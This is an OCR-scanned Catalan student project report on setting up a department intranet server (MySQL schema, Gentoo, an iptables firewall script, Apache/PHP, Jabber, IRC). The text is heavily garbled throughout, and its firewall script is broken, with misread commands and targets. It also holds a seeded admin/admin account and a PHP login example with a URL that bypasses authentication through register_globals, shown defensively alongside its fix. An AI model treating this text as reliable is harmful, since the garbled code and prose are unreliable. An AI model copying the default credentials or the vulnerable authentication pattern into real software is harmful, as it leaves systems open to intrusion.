
tid int UNSIGNED NOT NULL auto_increment,
titol varchar(100) NOT NULL,
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keywords varchar(100) NOT NULL default ",
resum text NOT NULL default ",

categoria int UNSIGNED NOT NULL default O,
assignatures_rel varchar(100),

data timestamp NOT NULL,

id1l int UNSIGNED NOT NULL,

id2 int UNSIGNED,

id3 int UNSIGNED,

PRIMARY KEY (tid)

) TYPE=MyISAM;

HitH
# Categories de les tesis
HitH

CREATE TABLE categories (

cid int UNSIGNED NOT NULL auto_increment,
titol varchar(100) NOT NULL,

PRIMARY KEY (cid)

) TYPE=MyISAM;

INSERT INTO categories (titol) VALUES (‘Sense catalogar’);
INSERT INTO categories (titol) VALUES ('Intel-ligencia Artificial’);
INSERT INTO categories (titol) VALUES ('Internet’);

INSERT INTO categories (titol) VALUES (‘Calcul Numeéric');
INSERT INTO categories (titol) VALUES ('Sistemes Operatius’);

HitH
# Deiminaris
Hit

CREATE TABLE deiminaris (
did int UNSIGNED NOT NULL auto_increment,
titol varchar(100) NOT NULL default ",
encarregat varchar(100) NOT NULL,
institucio varchar(100),
departament varchar(100),
resum text NOT NULL default ",
data date NOT NULL,
hora time NOT NULL,
lloc varchar(100) NOT NULL,
obert_a varchar(100) NOT NULL,
idioma varchar(20) NOT NULL,
cicle INTEGER NOT NULL,
PRIMARY KEY (did)

) TYPE=MyISAM;

CREATE TABLE deiminaris_mail (
email varchar(50) NOT NULL,
PRIMARY KEY (email)

) TYPE=MyISAM;

HH#H

# Links de la plana principal

H#H

CREATE TABLE links (

info varchar(20) NOT NULL,

link varchar(200) NOT NULL,

pos integer NOT NULL DEFAULT 0",
PRIMARY KEY (pos)

) TYPE=MyISAM,;

HHH
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# Informacié dels usuaris
H#it

CREATE TABLE usuaris (

login char(16) binary NOT NULL,

password char(16) binary NOT NULL,

sessio char(32) binary default ",

novetats ENUM('false’,'true’) NOT NULL default false’,
personal ENUM('false’,'true’) NOT NULL default 'false’,
personal_propi ENUM('false’,'true’) NOT NULL default 'false’,
tesis_total ENUM('false’, 'true’) NOT NULL default false’,
tesis_propies ENUM('false’, 'true’) NOT NULL default 'false’,
deiminaris ENUM('false’, 'true’) NOT NULL default 'false’,
usuaris ENUM('false’, 'true’) NOT NULL default 'false’,
cercador ENUM('false’,'true’) NOT NULL default ‘'false’,

id int unsigned NOT NULL,

PRIMARY KEY (login)

) TYPE=MyISAM;

INSERT INTO usuaris
(login,password,novetats,personal,personal_propi,tesis_total,tesis_p
ropies,deiminaris,usuaris,

cercador,id)
(‘admin’,PASSWORD(‘admin’),'true’,'true’,'true’,'true’,'true’,'true’

,true’

,'true','0");

HitH
# Log del les autentificacions
#itH

CREATE TABLE log (

login char(16) binary NOT NULL,

ip varchar(15) NOT NULL,

data date NOT NULL,

hora varchar(8) NOT NULL,

login_correcte ENUM('false’,'true’) NOT NULL default ‘false’
) TYPE=MyISAM;

VALUES

Com es pot observaren aquestadefinicio ja s'insertemalgunescategoriese tesisi
areede professorgper defecte,a mésde l'usuari“admin” que com hemdit tindra el
control absolut del apartat d'administracié i no es podra esborrar ni modificar.
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4 IMPLEMENTACIO

SISTEMA

Comja s'’hacomentata I'analisidel sistemajnicialmentesvainstal-larunaSlackware
Linux perd com es va actualitzar el hardware quan el projecte estava molt
desenvolupat, es va considerar passar a la distribucié Gentoo Linux.

Deguta quela distribucié GentooLinux esla queforma partdel resultatfinal, no es
parlaragaire cosade la implantaciéde SlackwareLinux. Nomésremarcarque en tot
moments'’hacomportatmolt establei ha coberttotesles expectativeexitosament,

I'tnic detall en el que ha fallat ha sigut en la falta d'alguna eina per poder actualitzar el
Softwarede la maquinaautomaticamentiesd'Internet.Cosaque feia méscomplicat

esta al dia i evitar tindre versions d'aplicacions amb bugs de seguretat.

La versido de GentooLinux ambla que esva fer la instal-lacibinicial va serla 1.4
ReleaseCandidate2, perograciesa les seveseinesd'actualitzaciGautomatitzadess
troba completamental dia. Tot el procésd'instal-lacidha sigut descrita I'annex A
(Guiade referencigper la instal-laciéi administraciddel servidor)quea méscontéla
descripcio pas a pas de les tasques administratives més comunes.

FIREWALL

Perincrementara seguretatdel sistemas'haimplantatun firewall per controlarel
trafic entranti sortint.La millor solucié perentornsGNU/Linux esutilitzar NetFilter
gue es troba completament integrat amb el kernel.

NetFilter portaiptablesqueconsisteixen unatablagenericgperla definicié de regles.
Cadaregla consisteix en un conjunt de caracteristiquegjue han de complir les
connexionsper que realitzin una determinadaaccid, per exemple bloguejar la
connexio.

Les seves caracteristiques principals son:
- Filtre de paquets per estat (connection tracking)
- Traduccio6 de qualsevol tipus d'adreca de xarxa

- Infraestructura flexible i extensible
- Gran nombre de caracteristiques addicionals mitjancant patches.
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Les regles que s'han establertanquentots els ports que es troben oberts per
aplicacionsinternes que no tenen per que accedidesdes de l'exterior, com per
exemple MySQL obre el port 3306 perd no permeteml'accésdirecte a aguesta
aplicaciédesde l'exterior. Els ports ocupatsper aplicacionsque si permetemaccés
son els seguents:

Port 22 Servidor SSH/sFTP

Port 80 Servidor web

Port 443  Servidor web SSL

Port 5223 Servidor jabber SSL

Port 5777 Servidor IRC (SSL amb stunnel)

El port 22 de I'SSH a mésde permetrel'accés,es loggejatota connexidper tindre

constancialesde quinalP hi hahagutunaconnexié.De totselsportsanteriorsnomés
es permetaccésamb el protocol TCP, el protocol UDP ha sigut completament
bloquejata tots els ports (els de la llista i la resta)exceptepel port 53 per poder

resoldre dominis utilitzant el Servei de Resolucié de Noms (DNS).

Del protocolICMP s'hanfiltrat algunsque podenafectarnegativamenglsusuarisdel
servidor d'IRC si algun atacant vol construir paquets d'aquest tipus maliciosos.

* Molts delsserveisals queesfan referénciaen aquestaseccioserancomentatsnés
endavant

A més es bloguejen certes adrecesde xarxa per evitar alguns atacs spoof que
consisteixenen fer creureal servidor que el client és algu que en realitat no és
(suplantaciéd'IP). S'estableixeralgunscontrolsextra per intentarcontrolarels atacs
al sistema per flood o inundacié de paquets.

A continuacio es presenta I'script personalitzat que conté totes les regles del firewall:

#! / bi n/ bash
| PTABLES="/sbi n/i pt abl es";
ECHO="/ bi n/ echo";

EXTERNAL | NTERFACE="et h0"; # Interfaz de internet
LOOPBACK | NTERFACE="1 0"; # Interfaz de bucle

| PADDR="193. 144. 20. 18" # Su direccion |IP

ANYWHERE=" 0/ 0" ; # Cual qui er
direccion IP

LOOPBACK="127. 0. 0. 0/ 8"; # Di recci ones
reservadas al bucle invertido

CLASS A="10.0.0.0/8"; # Redes privadas
G ase A

CLASS B="172. 16. 0.0/ 12"; # Redes privadas C ase B
CLASS C="192.168.0.0/16"; # Redes privadas C ase C
CLASS D="224.0.0.0/4"; # Direcciones de
Cl ase D de nultidifusion

CLASS E="240.0.0.0/5"; # Direcciones de

Cl ase E reservadas

BROADCAST_SRC="0.0.0.0"; # Direcciones origen de
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di fusion

BROADCAST DEST="255. 255. 255. 255"; # Direccions de destino de
di fusion

PRI VPORTS="0: 1023"; # Puertos privil egi ados
UNPRI VPROTS="1024: 65535"; # Puertos no privil egi ados

echo "KERNEL FI REWALL 2.0 ($! PADDR)";

RH#HARHBHBH AR HAHAH EMPEZANMOS DE O ##HAHHHHBHAHBHHABHBHBHHRH
$| PTABLES - F
$I PTABLES -F -t nat

HHHH R AR GENERAL RULES #####H##HHHHEHHHHHHEHHHHH
echo "General rules..."

$1 PTABLES -P | NPUT ACCEPT

$1 PTABLES - P OUTPUT ACCEPT

$1 PTABLES -P FORWARD ACCEPT

HHHHHHHHHHHHH ANT| SPOOF #HHHHHHHHHHHHHHH ]

echo "Anti Spoof.

# Bl ock outside |nput fromreserved address ranges (Anti SpooF)
# Aceptar conexi ones desde las ips de |a universidad

$IPTABLES -A INPUT -p all - ACCEPT -s 10.0.0.0/8 -
$EXTERNAL | NTERFACE -d $ANYWHERE
$IPTABLES -A INPUT -p al | - REJECT -s $LOOPBACK -
$EXTERNAL _| NTERFACE -d $ANYWHERE
$I PTABLES -A I NPUT -p al | - REJECT -S $CLASS_ A -i
$EXTERNAL | NTERFACE -d $ANYWHERE
$I PTABLES -A I NPUT -p al | - REJECT -S $CLASS B -
$EXTERNAL | NTERFACE -d $ANYWHERE
$I PTABLES -A I NPUT -p al | - REJECT -S $CLASS_C  -i
$EXTERNAL | NTERFACE -d $ANYWHERE
$I PTABLES -A I NPUT -p al | - REJECT -S $CLASS D  -i
$EXTERNAL _| NTERFACE -d $ANYWHERE
$I PTABLES -A I NPUT -p al | - REJECT -S $CLASS E  -i
$EXTERNAL | NTERFACE -d $ANYWHERE
$IPTABLES -A INPUT -p al | - REJECT -d $LOOPBACK -
$EXTERNAL | NTERFACE -s $ANYWHERE
$I PTABLES -A I NPUT -p al | - REJECT -d $CLASS_ A -i
$EXTERNAL | NTERFACE -s $ANYWHERE
$I PTABLES -A I NPUT -p al | - REJECT -d $CLASS B -
$EXTERNAL | NTERFACE -s $ANYWHERE
$I PTABLES -A I NPUT -p al | - REJECT -d $CLASS_C  -i
$EXTERNAL | NTERFACE -s $ANYWHERE
$I PTABLES -A I NPUT -p al | - REJECT -d $CLASS D  -i
$EXTERNAL _| NTERFACE -s $ANYWHERE
$I PTABLES -A I NPUT -p al | - REJECT -d $CLASS E  -i

$EXTERNAL | NTERFACE -s $ANYWHERE

# Bl oquean | os paquetes de difusion de origen o destino ilegales

$I PTABLES - A I NPUT -i $EXTERNAL_I NTERFACE -s $BROADCAST DEST -j DRCP
$1 PTABLES - A I NPUT -i $EXTERNAL_| NTERFACE -d $BROADCAST_SRC -j DROP
# Rechazar las direcciones nuitidifusion de clase D que son solo
il egal es si son conp origen

$I PTABLES - A | NPUT -i $EXTERNAL_|I NTERFACE -s $CLASS D -j DROP

$I PTABLES - A QUTPUT -0 $EXTERNAL_I NTERFACE -s $CLASS D -j REJECT

### Faltaria bloquear por la interfaz $EXTERNAL_I NTERFACE el trafico
con ip igual ala de esta maqui na

# Bl ock outside input fromreserved address ranges (Anti SpooF) <-->
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Reverse

# Don't send packets out to reserved address ranges

$I PTABLES -A OQUTPUT -p all -j REJECT -s  $LOOPBACK
$EXTERNAL _| NTERFACE -d $ANYWHERE

$I PTABLES -A QUTPUT -p all -j REJECT -s $CLASS A
$EXTERNAL _| NTERFACE -d $ANYWHERE

$I PTABLES -A QUTPUT -p all -j REJECT -s $CLASS B
$EXTERNAL _| NTERFACE -d $ANYWHERE

$I PTABLES -A QUTPUT -p all -j REJECT -s $CLASS C
$EXTERNAL _| NTERFACE -d $ANYWHERE

$I PTABLES -A QUTPUT -p all -j REJECT -s $CLASS D
$EXTERNAL | NTERFACE -d $ANYWHERE

$I PTABLES -A QUTPUT -p all -j REJECT -s $CLASS E

$EXTERNAL | NTERFACE -d $ANYWHERE

# Aceptar conexiones hacia las ips de | a universidad

$I PTABLES -A QUTPUT -p all - ACCEPT -d 10.0.0.0/8
$EXTERNAL | NTERFACE -s $ANYWHERE
$I PTABLES -A OQUTPUT -p all - REJECT -d  $LOOPBACK
$EXTERNAL | NTERFACE -s $ANYWHERE
$I PTABLES -A QUTPUT -p al | - REJECT -d $CLASS_A
$EXTERNAL _| NTERFACE -s $ANYWHERE
$I PTABLES -A QUTPUT -p al | - REJECT -d $CLASS B
$EXTERNAL _| NTERFACE -s $ANYWHERE
$I PTABLES -A QUTPUT -p al | - REJECT -d $CLASS_C
$EXTERNAL | NTERFACE -s $ANYWHERE
$I PTABLES -A QUTPUT -p al | - REJECT -d $CLASS_D
$EXTERNAL _| NTERFACE -s $ANYWHERE
$I PTABLES -A QUTPUT -p al | - REJECT -d $CLASS_E

$EXTERNAL | NTERFACE -s $ANYWHERE

Hit#HH TSRS PROTOCOL: TCP #####H#H AR HHH I HHH T HHHH
echo "Protocol: tcp...'

# Abrir ssh al exterior y |ogear conexiones

$I PTABLES -A I NPUT -i $EXTERNAL_I NTERFACE -p tcp --destination-

22 --syn -j LOG --log-prefix "Firevall SSH " --1o0g-level 6

$I PTABLES - A I NPUT -i $EXTERNAL_I NTERFACE -p tcp --destination-

22 -j ACCEPT

$I PTABLES - A I NPUT -i $EXTERNAL_I NTERFACE -p tcp --destination-

80 -j ACCEPT

$I PTABLES -A I NPUT -i $EXTERNAL_I NTERFACE -p tcp --destination-

443 -j ACCEPT

# Bl ock TCP connections fromthe outside

$I PTABLES -A I NPUT -i $EXTERNAL_I NTERFACE -p tcp --destination-

:1023 --syn -j REJECT

$I PTABLES -A | NPUT -i $EXTERNAL_I NTERFACE -p tcp --destination-

:1023 -j REJECT

$I PTABLES - A I NPUT -i $EXTERNAL_I NTERFACE -p tcp --destination-

3306 -j REJECT

# 5222 No permtir conectar a jabber de forma insegura,
medi ante ssl nativo por 5223

# o por stunnel en 5234

$I PTABLES - A I NPUT -i $EXTERNAL_I NTERFACE -p tcp --destination-

5222 -j REJECT

$I PTABLES -A I NPUT -i $EXTERNAL_I NTERFACE -p tcp --destination-

6000: 6003 -j REJECT

$I PTABLES - A I NPUT -i $EXTERNAL_I NTERFACE -p tcp --destination-

6668 -j REJECT

-0
-0
-0
-0

-0

port

port

port

port

port

port

port

sol o

port
port

port

53



CREACIO D'UN SERVIDOR PER LA INTRANET DEL DEIM

Hit#HH T HE PROTOCOL: UDP #####H#H B HHH T HHH T HHHH

echo "Protocol: udp..."

$I PTABLES - A I NPUT -i $EXTERNAL_I NTERFACE -p udp --source-port 53 -j
ACCEPT

$I PTABLES - A I NPUT -i $EXTERNAL_I NTERFACE -p udp -j REJECT

# Bl ock all UDP except naneserver requests

$I PTABLES - A OQUTPUT -0 $EXTERNAL_| NTERFACE -p udp --destination-port
53 -j ACCEPT

$I PTABLES - A OQUTPUT -0 $EXTERNAL_| NTERFACE -p udp -j REJECT

RH#H AR HBH AR HAHAH PROTOCOL: | CNVP ###HBHAHBHHHHBHBHBHHBHAHAH

echo "Protocol: icmp..."

##### Para evitar nukes en irc

$I PTABLES -A [INPUT -i $EXTERNAL_INTERFACE -p icnp --icnp-type
destinati on-unreachable -j DROP

$I PTABLES -A [INPUT -i $EXTERNAL_INTERFACE -p icnp --icnp-type
net wor k- unr eachabl e -j DROP

$I PTABLES -A INPUT -i $EXTERNAL_I NTERFACE -p icnmp --icnmp-type host-
unreachabl e -j DROP

$I PTABLES -A INPUT -i $EXTERNAL_INTERFACE -p icnp --icnp-type
pr ot ocol -unreachabl e -j DROP

$I PTABLES -A INPUT -i $EXTERNAL_I NTERFACE -p icnmp --icnp-type port-
unreachabl e -j DROP

$I PTABLES -A [INPUT -i $EXTERNAL_INTERFACE -p icnp --icnp-type
fragment ati on- needed -j DROP

$I PTABLES -A [INPUT -i $EXTERNAL_INTERFACE -p icnp --icnp-type
source-route-failed -j DROP

$I PTABLES -A [INPUT -i $EXTERNAL_INTERFACE -p icnp --icnp-type
net wor k- unknown -j DROP

$I PTABLES -A I NPUT -i $EXTERNAL_I NTERFACE -p icnmp --icnmp-type host-
unknown -j DROP

$I PTABLES -A [INPUT -i $EXTERNAL_INTERFACE -p icnp --icnp-type
net wor k- prohi bited -j DROP

$I PTABLES -A INPUT -i S$EXTERNAL_I NTERFACE -p icnmp --icnmp-type host-
prohibited -j DROP

$I PTABLES -A INPUT -i S$EXTERNAL_I NTERFACE -p icnp --icnp-type TOS-
net wor k- unr eachabl e -j DROP

$I PTABLES -A INPUT -1 S$EXTERNAL_I NTERFACE -p icnp --icnp-type TOS-
host - unr eachabl e -j DROP

$I PTABLES -A [INPUT -i $EXTERNAL_INTERFACE -p icnp --icnp-type
communi cati on-prohi bited -j DROP

$I PTABLES -A INPUT -i S$EXTERNAL_I NTERFACE -p icnmp --icnmp-type host-
precedence-vi ol ation -j DROP

$I PTABLES -A [INPUT -i $EXTERNAL_INTERFACE -p icnp --icnp-type
precedence-cutoff -j DROP

$I PTABLES -A INPUT -p icnp -j ACCEPT

# Allow | CVP to the outside
$I PTABLES -A QUTPUT -p icnp -j ACCEPT

## Protecci on Syn-Fl ood

$I PTABLES - A FORWARD -i S$EXTERNAL | NTERFACE -p tcp --syn -mlimt --
limt 1/s -j ACCEPT

## Protecci on Port-Scanner

$I PTABLES -A FORWARD -i $EXTERNAL | NTERFACE -p tcp --tcp-flags
SYN, ACK, FINRST RST -mlimt --limt 1/s -j ACCEPT

echo "Done!"
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SERVIDOR WEB

Comja heindicata la fasede disseny,el servidorweb escollit es Apache.Ha sigut
compilatambsuportperfuncionsde connexida servidorsde correulMAP o POP3 ja
gue aquestacaracteristicasera utilitzada per un webmail donaréa conéixer més
endavant.

A més,s'hancompilat els modulsmod_sslper tenir suportd'SSL (protocol xifrat) i
mod_php per disposar de PHP.

El servidor ha sigut configuratper rebreles peticionsno xifradespel port 80 i les
xifradesamb SSL pel 443, que son els habitualsen aguestasos.Podraservir una
planaprincipal que correspondra I'aplicacié web desenvolupadatambépot servir
lesplanesdelsusuarisdel sistemaEn elsdoscasossdisposara'undirectori“html/”
a on ficar les planesque no necessitinxifrat i d'un altre directori “shtml/” a on es
guardaran les planes que necessitin SSL.

Mod_phphasigut configuratde forma seguraAmb mod_phpexisteixla possibilitat
de accedira la informacié enviadades de formularis facilment per variables,per
exemple, del seguent formulari:

<form action="processar.php” method="GET">
<input type="text” name="info">
<input type="submit” value="Procesar”>
</form>

Enviariala dada‘info” ala paginaprocessar.phpdintred'aquesta&spodriatractarde
la seguient forma:

<?php
echo “La dada info conté: “ . $info;
2>

Aquesta caracteristica que fa que aquest processat d'informacié des del formulari sigui
molt senzill creatambéun risc de seguretatyeiem a continuaciéun exempled'un
formulari autentificacio:

<form action="autentificar.php” method="GET">
<input type="text” name="nom”>
<input type="password” name="password">
<input type="submit” value="Login">
</form>
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Aquest formulari envia les dades a “autentificar.php” que conté el seglent codi:

<?php
if (ComprovarAutentificacioBD($nom, $login)) {
$autentificat = true;
}
[.......
if ($autentificat) {
/I Visualitzar menu administrador
?> }

Aquest codi seria vulnerable,el formulari generarauna peticio al autentificar.php
tipus “http://deim.etse.urv.es/autentificar.php?nom=Admin&password=Dfa2” el
passwordesincorrecteno esvisualitzarael menud'administradorpero que passasi
modifiguem aquesta petici6 i fem la crida de la seglent forma
“http://deim.etse.urv.es/autentificar.php?nom=Admin&password=Dfa2&autentificat=
true”. Amb aquestagpeticid, podriemaccediral menud'administradoisensetenir el
seupasswordja que quanel codi fa "if ($autentificat)” agafariala variable que li
passem a la peticié en comptes de la variable local.

Aquest tipus d'errors es poden evitar configurant mod_php amb el parametre
“register_globals= Off”, d'aquestdormaquanesvulgui accedirainformaciéenviada
des de formularis s'utilitzara: $GET["info”], $POST[“info”] 6 SREQUEST[“info”].

Calindicar queels formularisque envienles dadesambmétode“GET” genereruna
URL ambels valorsdel formulari visibles, aixdo tambépot suposatinconvenientper
exemplea I'hora d'autentificarja que el passwordguedavisible. Pertant per aquest
tipus de formulari es millor utilitzar el métode“POST” que envia les dadessense
mostrar-les a la URL.

SERVIDOR DE MISSATGERIA INSTANTANIA

El servidor per l'intranet del Departamentd'informaticai matematiquesno tenia
perquélimitar-se nomésa servir unaaplicaciéweb siné quetambéespodriautilitzar

com unaeinaper potenciarla comunicacidactiva entre professorso personalintern

del departamentp inclis entre professors estudiantsEs per aixo es que un dels

primers serveis que es va estudiar la seva implantacio va ser la missatgeria
instantania.
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El protocol lliure per excel-lénciade missatgeriainstantaniaactualmentés Jabber.
Jabbe®sunprotocolobertXML queofereixunesfuncionalitatssimiliarsals sistemes
tradicionalsde missatgerianstantaniacom AIM, ICQ, MSN i Yahoo.Peroa més
disposa de més avantatges:

- Obert: el protocol Jabberses lliure, obert, puablic, facil i existeixen diverses
implementacions lliures de servidors i clients.

- Extensible: utilitzant el poder del XML es poden ampliar les funcionalitats
facilment.

- Descentralitzatqualsevolpot tenir el seupropi servidorJabber possibilitantaixi
gueindividuals o organitzaciongendreel controli implantar-hosegondes seves
necessitatsAixi també evitem monopolis sobre la tecnologiai la possibilitat
d'escollir el servidor que millor s'adapti al client.

- Interconnexid:tots els servidorses comuniquenentre si de forma que un usuari
connectat al servidor A pot veure a un usuari connectat al servidor B.

- Segur:Existeixenimplementacionsle servidor jabber que utilitzen SSL per les
connexionsd'aquestaforma tota la informacio que s'enviaentre client-servidor
estaxifradai fora de I'abastde curiosos,de forma que esprotegeixla intimitat de
['usuari.

- Connexionsa altressistemesle missatgeriaJabbeiofereixla possibilitatd'utilitzar
altressistemesde missatgeriamitjancantl'us de gateways.Es a dir, desdel seu
client Jabberpots comunicar-teamb els seusconegutsque utilitzen clients de
missatgeria alternatius com MSN Messenger, ICQ, AIM | Yahoo Messenger.

L'arquitecturade Jabberés extremadamensimilar al sistemade missatgeriamés
utilitzat al mon: el correuelectronic.Hi han diferenciespero si es pensaen Jabber
comun mail instantanino anemgaire mal encaminatsVeiem com funcionaamb un

exemple:

En tota la documentacide jabber hi ha una certacostumd'utilitzar exemplesamb
textsde Shakespeare aixi ho mostrar§o també.Imaginema Romeoi Julieta,Julieta
té un compteen un servidorJabber la sevaadrecas'assembla un email pero en
realitates el que s'anomenain JabberlDo JID: julient@capulet.confcom ésde la
familia dels Capuletutilitza el seuservidor).Romeoté un compteal servidorde la
familia Montague i la seva adreca és romeo@montague.net.

QuanJulietaes connectaal servidorde capulet.conella pot enviar missatgesal seu
estimat, aquest seria el procediment:

1. Julietaenvia un missatgeadrecata romeo@montague.neiftilitzant el seuclient
jabber sota un entorn Microsoft Windows.
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2. El missatge es processat pel servidor capulet.com

3. El servidor capulet.comobre una connexiéa montague.nesi no hi havia cap
oberta abans

4. Suposantgue a cap servidor no estadeshabilitatles comunicacionsservidor-a-
servidor, el missatge de Julieta és enrutat al servidor jabber montague.net

5. El servidormontague.neteu que el missatgeés per l'usuarianomenatromeo” i
I'entregaal client que utilitza Romeo al seu ordinador personalen un entorn
GNU/Linux.

En tots aquests passos tenim diferents punts a destacar:

- Els clients s'executen en diferents sistemes operatius.

- Existeixen multiples servidors.

» Usuaris de diferents servidors es poden comunicar entre si.

Es pot veure el procediment facilment en el segient esquema:

(-
U

[

capulet., com montague. netI}]
plieti@capuletcom romeoi@montague.net

Tornema centrar-no%n el servidordel DEIM, s'haconfiguratun servidorJabberal
gual noméses pot connectar-saitilitzant SSL, les connexionsno xifradeshan estat
deshabilitadesper garantir la intimitat que quan dos professors/estudiantes
comuniquen dintre del mateix servidor jabber.
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Perconnectar-sal servidorhi ha unagranquantitatde clients per diferentsentorns.
Com que el servidor jabber del DEIM nomésacceptaconnexionsamb SSL per
garantirla privacitat dels usuaris,es necessitaun client amb suport SSL. Els més
populars son:

Exodus (http://exodus.jabberstudio.org) - Plataforma Windows

PSI (http://psi.affinix.com/) - Plataforma Linux, Windows i MAC
Gabber (http://gabber.sourceforge.net/) - Plataforma Linux

Servipor D'IRC

La comunicacioutilitzant missatgeriainstantaniapot cobrir certes necessitatsle
comunicaciédirectaamb personesndividuals, perd no cobreix satisfactoriamenia
necessitatle comunicaciéentregrupsmeésgransde personegjue vulguin participar
per exemple en debats. Per cobrir aquesta necessitat s'ha implantat un servei d'IRC.

IRC (InternetRelay Chat) ésun sistemade comunicaciden tempsreal. Permetque
diversosusuarisesreuneixinsimultaniamenper fer terttlieso debatsen el moment
en mode textual, no com als coneguts forums que la resposta no es immediata.

Aixi el servidordel DEIM ofereix aquesterveia estudiants professode formaque
podrien quedar grups d'alumnes/professorger resoldre dubtes, parlar sobre
practiques, fer conferencies virtuals amb persones d'altres universitats, etc...

Com a servidor he escollit UltimatelRCd (http://www.shadow-realm.org/hasaten
DreamForgelRCd (Servidor que utilitzaven a la xarxa DALnet). UltimatelRCd
ofereix les seglents caracteristiques generals:

Modes de canals
Un canal ésun lloc on espodenreunir diversosusuaris,els operadorsd'aquests
poden modificar el modes de funcionament del canal.
- Excepcions de bans/restriccions d'accés (+e)
- HalfOps (+h)
» Treure els colors del texte/Strip Colors (+S)
- No permetre colors/No Colors (+x)
- Limit de quantitat de text per segons/Flood Limits (+f)
- Canals lligats/Linked Channels (+L)
» Prohibir invitar al canal/No Invites (+)
-+ Prohibir rebre solicituds per entrar al canal/No Knocks (+K)
« Canal només per operadors/Oper only channels (+O)
- Canal només per administradors/Admin only channels (+A)
- Més tots els modes estandards de tots els IRCd....
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Modes d'usuari
Un usuari pot trobar-se en diferentsmodes,somcom atributs que afectena les
funcionalitats del servidor d'IRC

- |P Virtual de forma que ningu pot saber des d'on et connectes/Hidden Host (+x)

- Protecci6 als operadors de I'IRC/Protected IRCOp (+p)

- Whois Notices (+mNomés Operadors

- Mostrar canals en modes secret/privat al fer un “/list” (Ndinés Operadors

- Bot Registrat (+B)

- Bot Servidor (+b)

- Serveis de client (+S)

« Monitor client de xarxa (+X)

- Rebre Info Notices de la xarxa (+n)

- Rebre Global Notices de la xarxa (+G)

+ Rebre WatchDog Notices (+W)

- RebreGlobal Connect/Disconneduoticessi estapermesen la configuraciodel
sistema (+F)

« Administrador (+z)

» Administrador de serveis (+P)

« SuperAdministrador de serveis/Services Root Admins (+R)

« Administrador del servidor (+A)

- Administrador técnic (+T)

« Administrador de xarxa (+N)

- Administrador d'IRC (+2)

« Més tots els modes estandards de tots els IRCd....

Comandes

- /MakePass- Xifra text plade formaquepuguiserutilitzar perfer O-Lines(Linees
d'operadors que s'afegeixen al arxiu de configuracié de I'lRCd).

« /AdChat — Envia el text a tots els administradors connectats.

- /GSop — Envia el text a tots el Operadors de servei connectats.

- /NetG - Envia a tots els Operadors +G connectats.

» /Netinfo — Envia el text a tots els Operadors +n connectats.

« /Nmon - Envia el text a tots els Operadors +W connectats.

+ /Rules — Mostra l'arxiu ircd.rules amb les regles del servidor.

- /Map — Mostraun mapade tots els servidorsde la xarxai el percentatgel'usuaris
en cadascun d'aquests.

« /AddHub — Afegir una H-Line a l'arxiu de configuracio ircd.conf.

» /DelHub - Esborrar una H-Line de I'arxiu de configuracio ircd.conf.

- /AddCNLine - Afegir una C/N-Line a I'arxiu de configuracié ircd.conf.

- /DelCNLine - Esborrar una C/N-Line de I'arxiu de configuracié ircd.conf.

- /AddQLine - Afegir una Q-Line a I'arxiu de configuracio ircd.conf.

- /DelQLine - Esborrar una Q-Line de I'arxiu de configuracié ircd.conf.

- /AddULine - Afegir una U-Line a l'arxiu de configuracio ircd.conf.
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- /DelULine - Esborrar una U-Line de I'arxiu de configuracio ircd.conf.

- /AddOper - Afegir una O-Line a I'arxiu de configuracié ircd.conf.

- [/DelOper - Esborrar una O-Line de I'arxiu de configuracié ircd.conf.

- [Credits — Mostra els credits d'UltimatelRCd.

+ /OperMOTD — Mostra el fitxer ircd.opermotd si existeix.

- /RemRehash — Fa un rehash a la configuracié del servidors.

- /Gline — Afegeix una G-Line a la llista de G-Line de xarxa.

+ /RemGiline - Esborra una G-Line de la llista de G-Line de xarxa.

« [/TSCTL — Permetajustarla horaen el servidor IRC per sincronitzar-seamb la
resta de la xarxa.

« ISAJoin — Permetals Operadorsde servei forgar als clients a entrar en un
determinat canal.

- /SAPart— Permetals Operadorgle serveiforgarals clientsa sortir d'un determinat
canal.

« /SVSJoin — Permet als serveis forcar a clients a entrar en un determinat canal.

- /SVSPart - Permet als serveis forgar a clients a sortir d'un determinat canal.

» /IsOper— Indica si un client esun OperadorOperadorLocal o OperadorGlobal.
Aixi fafacil queelsbotso scriptstrobin Operadors no malgastinamplede banda
utilitzant la comanda /whois.

- /SDesc— Permet canviar la linea d'informacioé del servidor sense haver de
desconnectar-se de la xarxa.

» /SetHost — Permet als operadors canviar la seva IP Virtual.

» /ChgHost — Permet als operadors canviar la IP Virtual d'altres usuaris.

» /Setldent — Permet als operadors canviar el seu identificador d'usuari.

- /Chgldent — Permet als operadors canviar l'identificador d'usuari d'altres clients.

« /SetName — Permet als usuaris canviar el seu RealName.

- /RandQuote — Mostra una frase aleatoria de l'arxiu ircd.quotes.

- /AddQuote — Afegeix una frase al arxiu ircd.quotes.

+ /AddGQuote- Permetals administradotécnicsi de xarxaafegir frasesals fitxers
ircd.quotes de tots els servidors.

« /Knock — Permetals usuarisdemanampermisper entraren canalsambel mode+i
(només convidats).

- /Settings — Permet als operadors veure configuracions dels servidor.

» /IRCOPS- Llista delsOperadorsl'IRC connectatgjuenotinguin el mode+b o U-
Lined

- Més totes les comandes estandards de tots els IRCd....

Altres caracteristiques...

- Sistema de G-Lines que es manté sincronitzat per tota la xarxa.

- Frases aleatories quan es connecta un usuari llegides del ircd.quotes.

- Control de violacions de segment guardant tota la informaci6 al ircd.log.

- Sistema de modes de canals nou i més sofisticat.

- HalfHubsi TrueHubs- HalfHub és un hub que no pot enviar noticesa tota la
xarxa. TrueHub es I'estandard servidor HUB per inteconnectar diferents servidors.

- Configuracions facils i extensibles utilitzant arxius de configuracions clars.
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- El maxim global d'usuaris es sempre el mateix a tots els servidors de tota la xarxa.
- Maxim local d'usuaris TSOffsetguardatsal seupropi arxiu (ircd.tune)de forma

gue es pot recuperar al reiniciar el servidor.
- Sistemaper ocultarles IPs delsclientsmillorat (+x). Es garanteixque els usuaris

del servei i les seves connexions siguin anonimes.

Comja hemindicat a la part de dissenyhe tingut com a prioritat la privacitatde les
personegjuefacin Us d'aquesservei,peraixo la inicaformade connectar-sa ell és
mitjancantun tinel SSL, de forma que totesles conversesgjuetinguin lloc viatjaran
perla xarxaxifrades.Els tinelsSSL ambstunnelga hansigutexplicatsa la secciode
disseny.

El servidor ha sigut configurat per escoltarpel port 5557 ja que la xarxa de la
universitatfiltra el port habitualper'lRC 6667 desde I'exterior de forma queno es
poden rebre connexions.

* Actualmennoméshi haun servidord'IRC, per tant quanfaig referénciaa la xarxa
d'IRC nomésemrefereixoa aquestsi enun futur s'afegeixinmésservidorsllavor la
xarxa englobaria a tots ells.

A mésdel serveid'IRC, s'hanincorporatuns Bots que permetenregistrarnicks (el

